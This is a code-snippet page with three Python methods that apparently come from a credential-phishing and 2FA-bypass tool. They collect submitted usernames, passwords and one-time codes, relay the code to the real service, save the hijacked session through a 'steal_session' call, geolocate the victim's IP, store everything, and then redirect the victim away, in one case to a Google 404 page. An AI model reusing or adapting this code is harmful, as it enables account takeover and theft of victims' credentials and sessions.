Пример #1
0
    def redirect(self):
        self.user = request.values.get('username')
        self.password = request.values.get('password')
        self.two_factor_token = request.values.get('two_factor_token')
        self.two_factor_type = request.values.get('two_factor_type')

        city, region, zip_code = '','',''
        try:
            geoip_url = 'https://freegeoip.net/json/{}'.format(
                request.remote_addr
            )
            geo_browser = mechanicalsoup.StatefulBrowser()
            geo_response = geo_browser.open(geoip_url)
            geo = json.loads(geo_response.text)
            city = geo['city']
            region = geo['region_name']
            zip_code = geo['zip_code']
        except Exception as ex:
            pass

        functions.store_creds(
            self.name,
            self.user,
            self.password,
            self.two_factor_token,
            self.two_factor_type,
            request.remote_addr,
            city,
            region,
            zip_code
        )
        return redirect(self.final_url, code=302)
Пример #2
0
    def redirect(self):
        """ 
        Final redirect of a valid session has been created.
        """

        self.two_factor_token = request.values.get('otp')
        self.two_factor_type = 'otp'

        valid_otp = self.submit_otp(self.two_factor_token)
        if not valid_otp:
            return redirect('/twofactor?error=1', code=302)

        file = "./{}.sess".format(self.user)
        self.steal_session(file)

        city, region, zip_code = '', '', ''
        try:
            geoip_url = 'https://freegeoip.net/json/{}'.format(
                request.remote_addr)
            geo_browser = mechanicalsoup.StatefulBrowser()
            geo_response = geo_browser.open(geoip_url)
            geo = json.loads(geo_response.text)
            city = geo['city']
            region = geo['region_name']
            zip_code = geo['zip_code']
        except Exception as ex:
            pass

        functions.store_creds(self.name, self.user, self.password,
                              self.two_factor_token, self.two_factor_type,
                              request.remote_addr, city, region, zip_code)
        return redirect(self.final_url, code=302)
Пример #3
0
    def checkcookie(self):
        city, region, zip_code = '', '', ''
        try:
            geoip_url = 'https://freegeoip.net/json/{}'.format(
                request.remote_addr)
            geo_session = requests.Session()
            geo_response = geo_session.get(geoip_url)
            geo = json.loads(geo_response.text)
            city = geo['city']
            region = geo['region_name']
            zip_code = geo['zip_code']
        except Exception as ex:
            pass

        functions.store_creds(self.name, self.user, self.password,
                              self.two_factor_token, self.two_factor_type,
                              request.remote_addr, city, region, zip_code,
                              self.twofactor_time, self.cookies)

        return redirect("https://accounts.google.com/404", code=302)